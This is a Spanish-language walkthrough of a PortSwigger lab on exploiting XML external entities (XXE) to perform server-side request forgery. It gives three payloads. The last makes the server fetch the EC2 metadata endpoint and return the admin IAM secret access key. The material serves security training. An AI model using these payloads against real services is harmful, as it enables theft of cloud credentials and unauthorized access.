Exploiting XXE to perform SSRF attacks
Laboratorio de Portswigger sobre XXE
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función llamada Check stock que analiza la entrada en formato XML y devuelve cualquier valor inesperado en la respuesta. El servidor del laboratorio está ejecutando un endpoint de metadatos de EC2 (simulado) en la URL predeterminada, que es [http://169.254.169.254/](http://169.254.169.254/). Este endpoint puede usarse para obtener datos sobre la instancia, algunos de los cuales podrían ser sensibles. Para resolver el laboratorio, hay que explotar la vulnerabilidad XXE para llevar a cabo un ataque SSRF que obtenga la clave secreta de acceso IAM del servidor desde el endpoint de metadatos de EC2
Guía de XXE
Antes de completar este laboratorio es recomendable leerse esta guía de XXE https://justice-reaper.github.io/posts/XXE-Guide/
Resolución
Al acceder a la web nos sale esto
Si pulsamos en View details veremos la descripción del artículo
Si pulsamos en Check stock y capturamos la petición con Burpsuite vemos que se está tramitando un XML
Vamos a insertar un DTD (Document Type Definition) y a comprobar si es vulnerable a XXE
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Obtenemos Doe lo que quiere decir que ha funcionado y probablemente sea vulnerable a un XXE
Con este payload hacemos un petición al endpoint, por lo cual estaríamos explotando un SSRF (Server Side Request Forgery) a través de un XXE
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
La respuesta del servidor nos devuelve el nombre, en este caso es latest, debemos ir haciendo peticiones hasta obtener la ruta del endpoint completa
Con este nuevo payload obtenemos la secret acces key del usuario admin
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>






